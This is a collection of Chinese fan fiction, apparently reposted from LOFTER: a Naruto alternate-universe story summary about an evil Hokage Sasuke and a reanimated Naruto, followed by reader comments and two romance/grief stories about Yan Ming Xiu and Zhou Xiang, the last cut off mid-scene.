佐助刺入的查克拉棒是特制的,因此不断蚕食着这边的鸣人的整个大脑并牢牢控制。它同样连接着秽土转生术式本身,因此抽出来的瞬间就会解除秽土转生术,傀儡也会再次死去。这边的鸣人外形丑陋。被放入一堆的巨大查克拉使得鸣人的身体出现变形产生了裂痕,令九尾蹦出,无疑是怪物的模样。秽土鸣人接受了佐助的命令,正四处游窜着破坏大蛇丸的新技术,扭转了战争的版图。趁着那个时机,佐助飞快动身伸手探向鸣人(不是秽土,以秽土鸣人/鸣人区分)的身体打算抽出查克拉。可及时赶来的卡卡西推开鸣人救下了他。
卡卡西发自内心地感到了愤怒。你连对你过去的同伴的敬畏心也消失殆尽了。那种东西打从一开始就没有过,佐助嘲笑。在卡卡西救下鸣人后,打倒了香磷的小樱也赶了过来。(小樱:攻击着香磷说出了自己的心声。虽然爱过佐助,但是无法再继续爱着杀死了自己重要的人们的佐助了。自己过去把佐助的事情托付给了鸣人,结果就是如今的这副局面。她喊着再也不要一味地依靠他人了并取得了胜利。)虽然佐助看起来无恙,但是为了驱使秽土鸣人需要消耗庞大的查克拉。毕竟秽土鸣人非常强大,为了抑制他必须要用到刺入大脑的查克拉棒,抑制巨大的查克拉团也要用到庞大的力量。而且秽土鸣人需要持续将查克拉供应给佐助才能让佐助持续蓄满力量,然而秽土鸣人战斗时佐助无法上前充电,因此现在是袭击佐助的最佳时机。
就这样,七班的剩下几个人和佐助战斗了起来。卡卡西和小樱,鸣人协作着攻击佐助,不给他召唤秽土鸣人充电蓄力的机会。与此同时,秽土鸣人因三忍村联合军和木叶丸,大蛇丸的协攻而无法脱身。(木叶丸看到崩坏的秽土鸣人受到了冲击,继而燃起了斗志,为了拯救鸣人哥哥而以必死的决心战斗中)
另一边,虽然也许已经被遗忘了,砂隐村的那个孩子也偷偷跟到了战场寻找着佐助的空隙。巳月走到那个孩子的身旁问他想不想报仇。真奇怪。我的父亲也说要报仇。说要报曾是自己的同伴的人们(药师兜,以及纲手)的仇。然而我不太明白…只要做了那个就能解决一切吗?巳月决定帮助孩子。
而七班这边联手给佐助送上了巨大的一击。期间他们也使用了已故之人的技术(突然的设定很抱歉,不过毕竟是同人剧场版所以一切皆有可能),那些是过去并肩战斗过的木叶村同伴们留下的技术,是储存在虽然并不完善却还是能发挥机能的科学忍具前身之中的。
丁次,鹿丸,井野,雏田,志乃等等…他们的能力微弱地散发着余光,战略性地使佐助变得束手束脚。佐助终于结结实实地吃了一记猛烈攻击,三人原以为终于干掉了,却发现烟尘散去后佐助正流着血站在那里。
然而佐助已经是快被逼到极限的模样。被火影鸣人与准备彻底的小樱卡卡西围攻得落尽下风。佐助怒视了片刻,低低地说了句需要力量后召唤了秽土鸣人。秽土鸣人原本被忍军擒住束缚着全身,却在得到命令后猛地一扭身体将其粉碎后奔向了佐助。
人们虽然必死地阻止着他说不
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行,然而秽土鸣人哪怕要将全身扭曲至破损粉碎也要爬向佐助。佐助走到了那样的秽土鸣人面前,把手放在了他的肚子上。交出力量。一行人惊愕。不行…!佐助抽出了查克拉,重新蓄满了力量。进入了第二轮战斗。已然步入了夜晚,战斗再次展开。
由于之前用掉了太多查克拉而脱力的一行人。只能做到避开攻击或格挡。卡卡西他们醒悟到只有先阻止秽土鸣人才是答案。根本就是趋于无限的查克拉了啊…就不能把它们放掉吗?鸣人见状走出。我来负责那个。你们俩先暂时拖住佐助!但是你打算怎么做?那个鸣人因为得到了命令抵抗会很激烈。现在的你虽然消耗了力量,但是那个秽土鸣人却仍然力量充沛!没关系,我能做到。
就按鸣人说的,卡卡西和小樱短暂地拖住了佐助,而鸣人决定去秽土转生的自己那里放掉他的力量。机会只有一次。三人向着不同的方向冲去。在二人拖住佐助的时候鸣人冲向了秽土的自己。向着刚才破损的身体尚未恢复完整的自己冲了过去,紧紧抓住后猛地解开了肚子上的封印。
如果我有理性的话就会在与九喇嘛的查克拉搏斗中胜利了吧。然而如果是没有理性的我,要是以九尾的状态暴走的话,查克拉肯定会向四周飞散瞬间耗光…!
鸣人强行令秽土鸣人进入了暴走,而自己则以九尾+仙人模式与之对抗。虽然进行了一番苦战,但最终卡卡西和小樱成功拖住了佐助,而鸣人也成功地把秽土鸣人的查克拉大量放电。
最后鸣人对着秽土鸣人来了一发强力的头槌。你这家伙…!在佐助那样的时候你到底做了什么…!睁开眼!!怒吼完来了记头槌。因那冲击,嵌在秽土鸣人脑袋上的抑制用查克拉棒出现了微微的松动。
小樱和卡卡西只是短暂地拖延了时间,最终他们也筋疲力尽地败给了佐助。准备补充查克拉的佐助。然而秽土鸣人并没有赶过来!查克拉被放空的秽土鸣人无法再动弹,只能细微地蠕动。结果不再是无限查克拉的佐助又和鸣人进行了一番激战,二人筋疲力尽地交战的样子仿佛那一日的决战重现。
两人俱是精疲力竭,终是像那一日的决战一般以千鸟和螺旋丸相搏。然而问题是佐助在战斗中不时充了电,且只应付了卡卡西和小樱(虽然他们也很强大),但是鸣人还要与秽土的自己对战…两股力量相撞后二人都倒在了地上,但紧接着跌跌撞撞地起身的是佐助。
佐助气喘不止,随即看向了动弹不得的鸣人狂笑了起来。哈哈……哈哈!没错!我这下终于真正地打败你了!我赢了。鸣人…!是我的胜利!那一日…从结果来看肯定也是我赢了!并不是因为你同情我…并不是你放水了!我,仅凭着自己的力量赢了你!
噗,这时突然传来了突兀的刺入声。
佐助真正松懈的间隙,刚才的砂隐村小孩借助着巳月的帮助冲上前用刀刺向了佐助。
然而佐助是火影…而孩子全无战斗经验。刀避开了致命处。佐助用无机质的目光拔出刀子拂开孩子后开口。
是我赢了。我并没有做错。反抗我的人要全部杀掉。
孩子哭嚎。放开鸣人哥哥…!(虽然是同人但毕竟是剧场版,所以鸣人肯定善良地对孩子说了什么)你杀害了所有人…!杀了所有人!
佐助开口。所以怎么了。
你长大后也会知道的。这个世界从一开始就是一个人。在失去之后才会领悟……如果从一开始就一无所有,也就不会受伤,更不会痛苦……只有领悟那个事实才能变得自由。
闻言,鸣人即使瘫倒在地也哈哈地笑着回应,啊啊,佐助。可是你,现在的那个表情,却比我至今见过的任何表情都要痛苦啊……
啊啊…佐助的表情如他所说,是满溢着各种痛苦的“无”。我…是我选择的。只要我一个人痛苦就好……
随后佐助换了表情走向鸣人拎起了他的衣襟。然而你不同。鸣人。我再一次赢了你。你也同样再一次输给了我。你的世界的我大概比现在的我还要弱…但是这里的我不一样!我并不弱!
我要把你束缚在这个村子里,杀掉你珍视的人们。而你永远都会在我的下面沦落为只能供应力量的存在!你这家伙无法回去。要一生都守望着我的模样绝望于你自己的无能为力!
佐助正打算对鸣人做出最后一击。那一瞬间,一把刀飞过来弹开了佐助手中的苦无。那把刀上流动着电流。
不可以。虽然很抱歉不过鸣人有很多事要做。这边可是因为火影消失了数日而乱成一团了。
刀飞来的位置站着那边世界的佐助。披着黑色披风,没有左臂的身姿。鸣人那个世界的佐助用时空间忍术终于打开了正确的空间,前来带回火影。
佐助!!鸣人被影佐助压在身下欢快地喊。吊车尾。你真是一转开视线就会被卷入奇怪的事情啊。知道我为了寻找你翻找了多少空间吗?
佐助怒视着叔佐助。你……那边的叔佐助瞥了一眼。看到自己过去的样子并不是件愉快的事情呢。叔佐助捡起刀时开口。比起那个,放开他。那个鸣人是我们这边的。
影佐助说不可能,打算与那边的佐助战斗。然而无法那么做。因为力量消耗太大。叔佐助轻而易举地夺过鸣人抱了起来。
大致掌握了事态的叔佐助。砂忍村的孩子大喊,杀了火影!只要没有那家伙,只要没有了那家伙一切都能解决了!
其他倒地的联合军也异口同声。没错。杀了那家伙!处置他!挥刀!杀了他!那个家伙是灾难。只要没有了那家伙,只要没了那家伙……
叔佐助表情微僵,鸣人被扶着喊了声喂…!正打算抗辩,却被卡卡西阻止。没办法。鸣人,你也看到了。那边世界的佐助也许重生了……可这边的佐助已经跨过了不该跨越的线。
他犯下了太多的罪行。不可能被原谅。但是……鸣人打算接话,却被叔佐助阻止。……他说得没错。如果那一日你没有阻止我,我肯定会做出可怕的事……不,也许会做出更过分的事来。
还有鸣人,你做出牺牲也本就不该存在。这是你无法担负起责任的世界。虽然看起来似乎是被坏人的骗术绕进去了…(瞪着卡卡西的叔佐助。)你要待的地方不是这里。要回去。鸣人无法接话。因为那边的佐助说的都是事实。
虽然说过会一起死,可自己已不再是只属于佐助的鸣人。需要负责的事物太多。因为他是火影。
影佐助嘲笑着那样的鸣人。你看。你向来都是骗子。无法遵守自己许下的约定的家伙。直到最后你也还是那种卑劣的家伙……动手吧。如果是鸣人还难说,但如果是那边的我的话,肯定能杀了我。啊啊……是啊。佐助能理解佐助。
因为,其实佐助最憎恨的,不是人类,不是世界,也不是鸣人,而是他自己。
那边的佐助放下鸣人后拿起刀对准影佐助准备刺入。走好。脱力的影佐助闭上眼准备接受利刃。
一切都是刹那间发生的。一个物体飞速冲了过来,就那么挤入二人中间代佐助受了那一刀。
穿刺的声音令影佐助,那边的佐助,以及鸣人睁大了双眼。代为挡刀的是秽土转生的鸣人。是如何…明明没有任何人下达命令。
是因为刚才的头槌让查克拉抑制棒产生松动,使秽土鸣人找回了意识吗?
黑眼睛的鸣人中刀倒下时露出了略带痛楚的微笑,随即不发一语地,随着抑制棒的动静,就那么解除了咒术缓缓倒下。
抱住了只剩一具空壳的傀儡之躯的影佐助。无法理解为何他要救自己。为什么?为什么你会代我……为什么你……明明遭受了所有的一切?你……
为何你要救我?
为何你在那一日的最后一瞬间改变了手势没有杀我?
那边的鸣人代为回答。我啊…其实并不清楚。这边的我一直没有理性,也无法交流…所以没能进行对话,不过我好像能知道那孩子为何要那么做。那家伙,还是挺不管不顾的…
而你似乎已经知道了那个答案。
为何要救下自己,为何没能杀死自己,为何要阻止自己……
影佐助在那时醒悟。真相是,那一天本该在决战中胜利的不是自己而是鸣人。这个世界的鸣人选择了与那个世界的鸣人略微不同的方式,其结果就是最后的瞬间是鸣人占据优势,可以杀死微微处于劣势的佐助。
然而在那个瞬间,他选择了不去那么做。虽然想过要和佐助发自真心地碰撞,但是只有他自己,哪怕到了最后一瞬也依然不想杀死佐助。他无法那么做。
仔细想想一直都是如此。所有人都在说要杀了佐助时独自一人对此反驳,说着会和他一起死却也在最后的一瞬间收手,心甘情愿地选择了承受攻击……啊啊,是这样吗。所以你……所以我…………对你
其实察觉到了的。所以才更加无法忍受。竟敢擅自同情我,爱护我,珍视我,所以擅自离开了我的你……所以才不惜把你强行留在身边侮辱你,可即使如此也因为在一起而觉得没关系也说不定,我……
抱着灵魂离开后开始龟裂的躯壳,佐助流下了血泪。然而一只写轮眼反而解除了开眼。因为已经醒悟到再也没有可以憎恨可以去爱的对象。因为知道了如今真正变成了独自一人。
醒悟了一切的影佐助一直紧抱着秽土转生的鸣人,直至他的身体化作尘埃散去,而后他看到了躯体消散后留下的那边佐助的刀,没等他人反应过来就捡起刀刺入了自己的身体。
到底怎么…!不行!你要活着!你要活下来赎罪!绝望地叫喊着冲过去的小樱。不要碰我!影佐助嘶吼。
可以了……就以这个。结束。这就是我的赎罪。
现在我要对自己施下月读。
我会经历无限的死亡并绝对无法抵达真实的彼岸。在那家伙死后的如今,没有任何人可以杀死我……所以我,选择不死地反复接受永劫的痛苦。
用刀刺入自己后施下月读,只要不去解开,我大概永远都会承受着比死亡还要强烈的痛苦,在噩梦之中挣扎着无法抵达黄泉。
灵魂会被困在术法之中。就像永不终结的回声般。那个回声仿佛在呼唤着某人的名字,可无人可以作答。
这样就……可以了。满足了吗。因为我……没有脸面去那个世界面对那家伙。
不过还是谢谢你,鸣人。至少来找了我们…不过我不会道歉的。
保重。
就这样,影佐助自裁倒地,世界迎来了和平。唯一的影消失后,忍村代表们重新七嘴八舌地争吵了起来。所以,下一个代表谁来当?啊啊,那当然是我了!我的功劳最大啊,不对!如果不是我的支援战况会怎么样?不对……砂忍村的孩子看着那副光景,感觉所有的一切都变回了原样…感到微微的悲伤。不过卡卡西安慰了他。肯定会和过去不同的。他会让它变得那样。
而后卡卡西走向了那边的鸣人提议。鸣人,要不要留在这里。
卡卡西老师?!啊啊,虽然很抱歉说这种话,在佐助也死了的如今,需要可以统率我们的首领……如果有你的话,我们肯定能走向更好的道路。
然而鸣人看了看那边的佐助,微微一笑后开了口。老师,虽然很抱歉,不过不行。因为已经有了需要我的世界。这个世界的我虽然已经死了…但是老师,小樱,大家都在,只要继承了他们的意志,肯定能成为很棒的世界的。
那我回去了。卡卡西也不带留恋地颔首。也只是出于试一试的心态开的口,果然没办法呢。知道了,那我放手吧。会创造出比你那个世界还要好的世界的。
小樱和木叶丸也擦拭着眼泪开口。谢谢你停下了佐助。让哥被卷进来真的很抱歉。我一生都不会忘记的。
就这样,鸣人和佐助一起回到了那边的世界,而村子的所有人也开始建设起了比过去要稍微好一点的世界。砂隐村的孩子被助力者收养。卡卡西默默地功成身退,终于在漫长的战争后迎来了休息。(七代火影由小樱担任!)
另一头,在返回原世界之前,佐助默默走到了自裁倒地后看似死亡,实则永远都无法死去的影佐助身旁,拔出了自己的刀收入刀鞘后,拍了下佐助的头又转身安静地离去。鸣人回到原来的世界后,把在另一世界发生的事情全部当作了秘密,被狠狠地训了一顿抛下这么多工作跑哪儿去了。当办公室只剩下二人时,鸣人开口问了佐助。不过你那时候不是走到你自己的身旁了吗。
你做了什么?佐助答,什么都没有……看到了鸣人写满了说谎~~的目光后还是吐露了实情。只是稍稍干涉了下。
那家伙,仿佛在看着过去的我,感觉很不爽。最后选择自我毁灭也是……只是不爽那家伙到最后也要我行我素所以干涉了一下。
鸣人惊讶地看向了佐助,随即宛然微笑着开口。佐助!果然你也成长了啊!放开,吊车尾的。果然该把你留在那个世界自己回来的。太过分了的说。
就这样,这边世界的佐助和鸣人也继续经营着幸福的世界。
最后,有一个被独自留下的存在。
影佐助孤零零地被禁锢在自己的月读之中。那里空空如也。只有自己的存在。
身旁空无一人,佐助独自躺在空荡荡的空间里。
那时,突然听到了有谁呼唤自己的声音,佐助睁开了眼。
佐助!!你在这里干嘛的说?
鸣人?你是怎么…到这里的?
一睁开眼,映入视野的是年幼的鸣人。
佐助环顾了四周。是木叶后山的山坡。迎着太阳躺在草地上的佐助。你在说什么啊。没睡醒吗?卡卡西老师不是说过今天让我们好好做准备吗。说什么会教我们新忍术。小樱都等累了已经先回去了!都不像平时细心的你了,到底怎么了?
我...明明......把你.......我是......看着不住喃喃的佐助,鸣人鼓起双颊逗弄起了他。果然今天的佐助好奇怪的说~难道做了噩梦了吗?快清醒过来。不然我先走了的说。
见鸣人要走掉,佐助急忙抬起戴着袖套的胳膊抓住了鸣人。手中的触感是现实。鸣人似是吓了一跳,随即笑着说:什么啊~今天到底怎么了的说?并伸手拉起了佐助。好!不要一个人呆在这儿了快点过去吧!今天也要修炼的说!说完拉着佐助飞奔了起来。佐助吓了一跳,随即微微露出了似哭非哭的表情。嗯,随后与鸣人一同奔跑了起来。
两人的手紧紧地相握着,大概今后再也不会放开了。
—END—
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热门评论
玄麦甘桔
这绝对是鸣人终结谷死亡后,佐助干得出来的事,没了鸣人的佐助会疯!!!叔佐不就说出了真相了吗(?ω? )好心疼他呜呜呜
cciss
出这个剧场不比博人传好看吗!!!我天哪 ,出电影我买一千张!!!!!爱死他们了?????
Yals抗咕咕咕修行中
这影佐世界线剧情绝了。从一开始就不要抱任何希望,就可以避免受伤才能真正自由这话,真就是孤独到多深才说得出啊
5. 晏周雨事件
ciuKyeedshwssthAsEtsf
From LOFTER
晏周/雨事件
*我流晏周,有捏造情节
??
晏明修在雨幕里撑着伞,望着红绿灯对岸的周翔。雨太大了,大得像织成的雾气,而不是分散的雨线。可这雾气又太沉重,风吹不散,光划不开,就像晏明修想起他死前,广西的那场暴雨那样沉重,沉重到用什么语言表达仍觉词不达意,沉重到他回想起来,心脏仍是密密麻麻地疼。
??
周翔看到对岸的他走过来,没有笑也没有喜出望外,语气里镌刻淡淡的惊惶,晏总,您来接我啊,真是太麻烦您了,下次不用这样。那语气说不上来是无奈还是仍有怨怼。晏明修笑着说,翔哥,雨太大了,怕你没带伞,接你回去比较安全。周翔露出似笑非笑的表情,打车钱我还是出得起的。但周翔看到他失落的表情,心脏抽疼,他想原来即使在别人身体里还是会感受到心痛啊。就改口说算了。你是想和我一起回去吗?
??
晏明修的眼神在雨里浇成哀哀的弃犬,整洁的西装裤腿被染成深靛色,身上有一股暴雨肆虐的气味,如此狼狈,如此可怜。周翔突然想起于心不忍这个词,他在第一次生命结束之前和晏明修度过的那些时间,从未见过这样的晏明修。其实周翔早被问过几点下班,周翔以为是七点半,就和他说七点半。但王导总不满意,所以他拍到九点半才收工。晏明修就这样在雨里站了两个小时,没抱怨也没质问。周翔反而不安起来,很想问他为什么不坐在车里等呢,你这样是想乞求什么,向我讨要爱吗?心情却变好了点,想来他一直很有耐心,很久以前等他八九个小时,也不嫌烦。所以说不出什么残忍的话,只好说,何必呢,回去吧。你衣服都湿了,这样容易感冒。
??
他们坐进车里,司机开车送他们回晏明修的那套房子。周翔不想说话,戴着耳机望着窗外的雨,眼睛倒映着北京的霓虹、天安门、人、创伤。晏明修盯着他的脖颈,想起来有一次他去找汪雨冬,想给他一个惊喜,就看见汪雨冬挽着姐姐的手臂有说有笑。那天他的心情在雨里淋湿了半截,一个人悻悻地看完电影,电影结束已经十二点多。周翔短信问他,明修,要不要去接你?他当时觉得周翔的好理所应当,现在想想,周翔拍了一天戏,晚饭也没来得及吃,冒着大雨只为了接他回家。来的时候周翔的衣服淋成暗色,眼睛却亮着穿透雨幕的光。那是数个昏沉的雨夜里唯一的太阳,可是自己怎么就把它弄丢了呢。
??
晏明修开口问周翔,翔哥,还没吃饭吧。周翔点点头,算是肯定。周翔的态度古井无波,晏明修觉得失望,又觉得周翔肯理他已经算是进步,就说回我家吃吧,我给你做螃蟹,好吗?今天送来的螃蟹很新鲜,刚捞上来没多久。晏明修曾经答应过以后的螃蟹都他包了。其实当时谁会想那么多?周翔权当晏明修随口答应,哄人罢了,没想到晏明修一直记得。如今周翔的心里反而有点松动,是因为这雨么?
??
后来每次一下雨,晏明修就来接他,也不管公司的事情多忙,要等周翔多久。拍摄的地方不好把车停在路边,晏明修就撑着一把透明的长伞站在一个固定的地方等,时间凝固成颠扑不破的秩序,秩序之下他成为雕塑,望夫石。他可以一直等,即使等到海啸到来,世界末日,万物归寂。周翔一开始看到他,还会说,没必要。看着晏明修见到他惊喜又小心翼翼的神情,逐渐开始相信这家伙可能是真的有点喜欢我吧。
??
你不用总是等我。下雨天,路滑。你要感冒了我可担待不起。周翔话是这么说。晏明修摇摇头,说三年我都等过来了。翔哥,我只是想来接你,我想补偿那些错过的日子。我想站在你一眼就可以看到我的地方……我要让你知道多大的雨都有我在那里等你。晏明修不愿说的是,周翔就死在那场大雨里,那场雨也把他的希望和人生淋灭了大半。我不想再一次,在雨天弄丢你了。即使是什么样的惩罚我也愿意。他的语言具有重力,砸在地上就飘不起来。没说下去的内容是,只要能让我看到你,只要你还能够在我身边。
??
周翔八岁失去了父母,雨天时候,以前还小,羡慕有父母来接的小孩:或穿着缤纷雨衣,或撑着各式的伞,一起回家,他尴尬地躲雨,透过他们的背影,渐渐分不清濡湿了眼睛的究竟是不是雨水。后来长大了,倒也放下这种执念。可他没意识到的是他内心还是没安全感,觉得只要不去期待什么,就不会失望,做出最平庸的期待和最坏的设想:若能避开猛烈的狂喜,自然不会有悲伤的来临。所以他一直躲在小时候公园那个遮雨的保安亭里,一躲就是二十余年,不相信有人宁愿冒着雨接他,不愿意接受那把递给他的伞。晏明修知道他没安全感,怕太猛烈的攻势把他逼走,又太害怕再次失去他。直到他们春天和好的时候,周翔似乎也没彻底放下心来,晏明修有耐心,知道急不得。
??
周翔想工作,赚钱,养家糊口。工作让他觉得人生还有意义。晏明修准备给他投资一部商业片,他亲自作配,周翔没有拒绝,知道自己被困在晏明修密密麻麻的心绪里,比起蜘蛛网上的蝴蝶,*他更像小王子里那朵玫瑰。因为晏明修不同于过去,如今能够聆听他的沉默。
什么时候雨才能停呢?晏明修撑开伞,望着对岸的周翔。华北春天的时候不怎么下雨,可竟然下起了小小的雨,神迹?什么东西要随着雨破土而出了吗。周翔走过来,晏明修的心脏踮起脚尖,他有一种温热的预感。
??
然后他就听见周翔收起他自己的伞,头一次以来两个人一起撑一把伞。周翔说,赶紧回去吧,你西装都湿掉了……想吃什么?
??
过两个月,电影开机,周翔和晏明修跑去南方拍电影,拍摄地在亚热带季风气候区,他们去的路上,棕榈树的影子一片一片地闪过,阳光不曾枯萎。这个城市气氛浓郁又明亮,空气不干燥,透着一股很有生机的湿热。周翔也许是换了环境之后心情好了不少,没有拒绝晏明修在落日下合照的邀请。第一张合照呢,当然要隆重些。可是要拍落日照得去看得到地平线的地方。他们跑了很久,气喘吁吁地拍上一张,彼此之间十分满意。姜皖笑着说,拍得真好看,翔哥很上镜。晏明修看着周翔略带羞涩又爽朗的笑容,回忆起第一次心动的无措和震撼。他突然很想把周翔的笑容永远保存起来,放进最靠近心脏的口袋。他怕他哪一天又弄丢了。
??
剧组等了几天的雨,导演坚持不用人工降雨,说真实的景拍出来才有温度。周翔想,也是,原来准备的花洒也太容易穿帮了。等了好几天终于下了场大雨。周翔那场戏要在雨夜和女主角起冲突,并给她一个吻。角色的配置一个失业一个失学,现代小说里的情侣配置,很文学。但电影是类型电影,不是沉闷的商业片。晏明修有自己的考虑,他想捧红周翔,文艺片没市场;却不想让他出演太庸俗的电影,折衷。
??
周翔的演技其实算不上多好,他自己也很明白,电影拍完之后八成有人会说他资源咖,他不介意,毕竟他从以前开始就摸爬滚打惯了。万幸的是导演要求高,但很有耐心。周翔的演技在锤炼中不断进步,他脾气好,有礼貌,笑起来的样子让人生气不起来,所以ng了五次,剧组的人倒也没有微词。导演说,小周啊,你好像没进入状态……要不你自己调整一下再拍。周翔说,对不起,给大家添麻烦了。晏明修把他拉到一边,说我和他聊聊吧。
??
把他拉到没什么人经过的地方,问他翔哥,你还好吗?不会是又生我气了吧。晏明修想起昨天的小小冲突。周翔不易察觉地笑
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了一下,觉得晏明修这样怪可爱,说,我只是很难入戏……我理解不了主角,没有主角的情感经验。其实我也思考了很久该怎么演,但总感觉差点什么。晏明修说,那我再和你对对剧本吧。也许换个人,这样你就知道怎么去表达了……好吗?
??
周翔掏出烟盒,就像剧本写的:抽一口烟,压到肺里,再吐在雨水中——周翔在这个场景里被烟雾修饰得很风情。"这里又下雨了。"周翔不怎么抽烟,忍着咳嗽,视线穿透烟雾和晏明修的相遇、纠缠。"别傻了,八月下雨很正常。"周翔望着望着:烟雾是为了遮盖悲伤的神色,那么抽烟间隔的呼吸是为了让沉默变得理所应当。没人聆听的沉默。好像渐渐理解了这个角色,原来如此!抽烟只是伪装平静的手段……情绪怎么可能被克制呢?神态可以伪装,可情绪是本能,是先于语言,先于意识的应激。当男主角知道自己爱谁之前,懂得爱是什么之前,他从来不曾掩饰自己的丑陋,裸露着自私、傲慢。恃宠而骄——然后弄丢了她。后来他学会了用烟,用雨,小心翼翼地压抑奔涌而出的悲伤——他学会了爱。
??
"你就是你。"
??
"这句话早一点说我还会信。"
??
"对不起。我们还能重新开始吗?"
??
"我们现在已经回到了原点,和重新开始有什么区别吗?"
??
"不一样……你有什么自信认为我们还是原来的我们呢?"
??
“别说了,我看不清你了。”晏明修和他对戏,周翔念下去,“我也看不清你了。”
??
我也看不清你了。
??
到了吻戏,晏明修宣誓主权,把周翔吻得缴械投降,对个戏,你这要把我吃了一样的至于吗!到很后来,周翔还会打趣晏明修,你就应该当那个女主角。在雨水里接吻,就像溺水。沉溺的、溺。吻还没结束,周翔突然感觉落在脸上的雨水如此滚烫。当晏明修离开周翔的唇,脸上纠缠在一起的水已经分不清是雨水还是泪水。周翔明白了编剧的用意:命运渗透进来,荒谬的、背反的。男主角和女主角的位置颠倒过来,男主角变成了爱而不得的那个人——想违抗命运的他们踏入命运的麦田怪圈,西西弗斯和巨石。
??
当他理解了剧本,就能理解晏明修。就能看到晏明修的悲伤在他身后不肯退化,从尾椎骨延伸出来摇着尾巴。
??
这个剧本简直是创伤的复习。周翔惊觉,抬起头望着晏明修,晏明修的眼神坚定而清澈。那是谁呢?周翔大胆直视他,眼瞳里倒映的不是我原来的身体。可是我知道他透过身体看到的是周翔,是那个永远无法被替代的周翔。是我、是终于不再成为附属品的我。终于看清楚了。
??
*按顺序:
①引用自《人间失格》
②化用自《小王子》
③化用自《百年孤独》
(不想贴原文了,感兴趣的可以自己找找)
??
其实这篇文章不太完整,虽然我明白写作的时候要有留白,但留白不意味不完整……写的时候一直在改、改得我很难受很懊丧:我写得大概真的很差。其实不写的时候我的思考比我写的时候要多……我忘记是谁影响了我的写作风格,我变得难以写出我想写的那种节奏。
全靠直觉,也许没写大纲是我做的最错误的事情。我后面会修改一下这篇文的节奏、……我应该原谅我暂时的庸俗和拙劣。我期待成长,希望我后面有时间能返修这篇哈哈哈哈哈。没办法,实在太忙碌了。
谢谢你的阅读,非常感谢。
后面会开个连载……关于ABO、晏周、我对符号秩序的思考。
??
6. 凶杀案·晏周
午餐吃个宫任
From LOFTER
凶杀案·晏周
·一些狗血车祸
·奇怪的脑洞
·正文6000+
·晏明修第一人称视角
??
??我目睹了一场凶杀,死者是我的爱人
??
??
??Number one. die
??
??“先生,我们调取了当天的监控,您看,您全程都没出过房间,周先生的死与您无关,您振作一点,再好好想想,他有什么……仇家吗?”
??
??那个女人把电脑转向我,显示屏上是我和个儒雅的男人
??
??“明修,这次项目真的很重要,你就帮帮冬哥吧”
??
??“符合规定内我能调动的资源你随意”
??
??
??这是我这么久以来,第一次发觉那个男子对我而言到底算是什么
?
???姐夫?初恋?
??
??无论如何,我再没从汪雨冬身上感到最初的那种震撼
??
??好像冥冥之中有什么人拉着我的衣袖说
??“不是他”
??
??视频里的我接到了蔡威的电话,当时说了什么我已经记不清了,视频里也不见得能听到,印象里只有他慌张的对我嚷道
??周翔出事了
??
?? Number two. Bad
??
??“晏先生,我理解您的感受,但您现在很混乱,请您冷静下来,我们正在全力搜寻肇事车辆,相信我们会给您的朋友一个交代,请节哀”
??
??我哥从公司赶了过来,和那位警官在门口谈了很久,他开门进来时,我能清晰的看见那张脸上满脸的愁绪
??
??他深吸口气,不知道该说些什么,我明白,他现在又要顾着公司又得顾着我,心里实在过意不去,所以干脆别过了头
??他坐到我身边,嘴唇张了又合,半晌吐出一句“明修,吃点东西”把盒饭推到我面前
??我瞥了一眼并没有动身,只是淡淡的问
??“找到他了吗?”
??“你也看到录像了,那家伙把你要找的人带走了”
??恰好被周边车行车记录仪拍下的那个片段,我早已看了千百遍,我当然知道……他把周翔带走了
??
??我的脑子里突然闪过一个荒唐的念头
??“哥,你说他有没有可能还活着?”
??“录像里他整个胸口都陷下去了,就算是……”
??我打断他“不是没有找到他吗?那他就还有可能活着,对不对?”
??
??我承认我是有些疯癫了,可是除了这样欺骗自己,我不知道还能如何规避现实
??
??有那么一瞬间,我无比希望找不见他的尸身,只有那样我才能活在为自己编织好的谎言里,因为如果真见着了我想我可能当真会随着他去了
??我转过身子,就这么看着我哥的眼睛,期待着他认同我,期待着他回应我,可我只在那双深沉的眼里看到了无奈、挣扎与犹豫
??最终我也没等到想听的答复
??
?? Number three. Chaos and Reality
??
??是那件事情过去之后的多久了?
??很抱歉我现在并没有什么时间观念,具体流失了多少时间我已经有些不想面对了
??不过于我而言今天与明天一样,只有日月更替今天与那天一样,只有昼夜之分
??所以,还没过去太久
??所以,他还有机会活
??
??哥从一开始不知道说些什么转变为愤怒的质问我是不是疯了
??“你能不能现实点?他死了你还要跟着他一起去死吗!你真TM的混呐”
??
??他疲惫的用手扶额,大概是觉得不该再说我,他累的不行,想让我早点振作起来
??可我什么都不想听到,什么都不想去做
??
??不知道是第几个夜,我依然待在我们的家里,备用的钥匙也依旧放在门外灭火器的箱子里,我怕他有一天回家推不开门,发现不了我在等他
??
??我靠在沙发上,时间好像回到了我们刚认识的那天,窗外下着大雨,他系着围裙把晚餐端到桌上,温润好听的声音响起,恍惚间我似乎看见了那个白衣翩翩的身影
??
??我的眼前一阵模糊,凭借着仅剩的意识走进了卧室,我将门紧闭躺在床上,将被子抱住一团揉进怀里,像以前抱着他一样,可冰冷的触感让我一阵胆寒
??就如同我怀中的真是他冰冷惨白的尸体
??
??心脏一阵抽搐,酸麻的痛感从心口蔓延至全身
??
??怪了,他怎么会死呢?
??不会的,一定不会的
??他是温暖的,从里到外散发着阳光的,让我那么的依恋,在他身边我怎么会感到寒冷呢?
??那灼热的爱意,那无微不至的关心
??我从未这么冷过
??
??即使这样的想法有些滑稽,但我却依然觉得如果我能把被褥捂热了,就能把他捂热了
??
??于是我像个害怕自己一个人睡在漆黑房间的孩童一般抱紧被褥
??
??事实上,我也真的恐惧着这房里只有我一个人
??
??
?? Number four. Dream
??
??我站在宽敞的马路边上,他从对面走过,直在耳边的手机还迟迟没有放下,一个男人凑过去
??“还没接吗?”
??周翔向他点点头“我家这位……平时比较忙”
??“你生日都不接电话?”
??“我没跟他提过……”
??
??本身还发着愣的,我急忙冲上去从身后抱住他慌乱间回到“我在这,翔哥,我在这!”
??没有回应
??他依旧和身边的人交谈着,而我明明切切实实地抱住了他
??切切实实
??切切实实……
??切切……实实……
??“翔哥?”
??“你还在生气吗?”
??“翔哥,我在这儿呢”
??“翔哥我真的错了,你别生气了好吗?”
??
??……
??是在我们的家里
??我看见他对着桌上的几盘菜发呆,这次我只是缓缓坐到他身边,用手抚上他的脸,他忽然转过头来,我只觉那双无神的眼睛是在看我,心中一喜,小心翼翼地将身子凑了过去,想吻一吻那张半张着的唇
??可事实上他只是在盯着手机屏幕罢了
??门被推开,他迅速起身去迎来人,而我落在半空的手好像变得及其可笑
??
??那走进来的家伙跟我长着一张脸
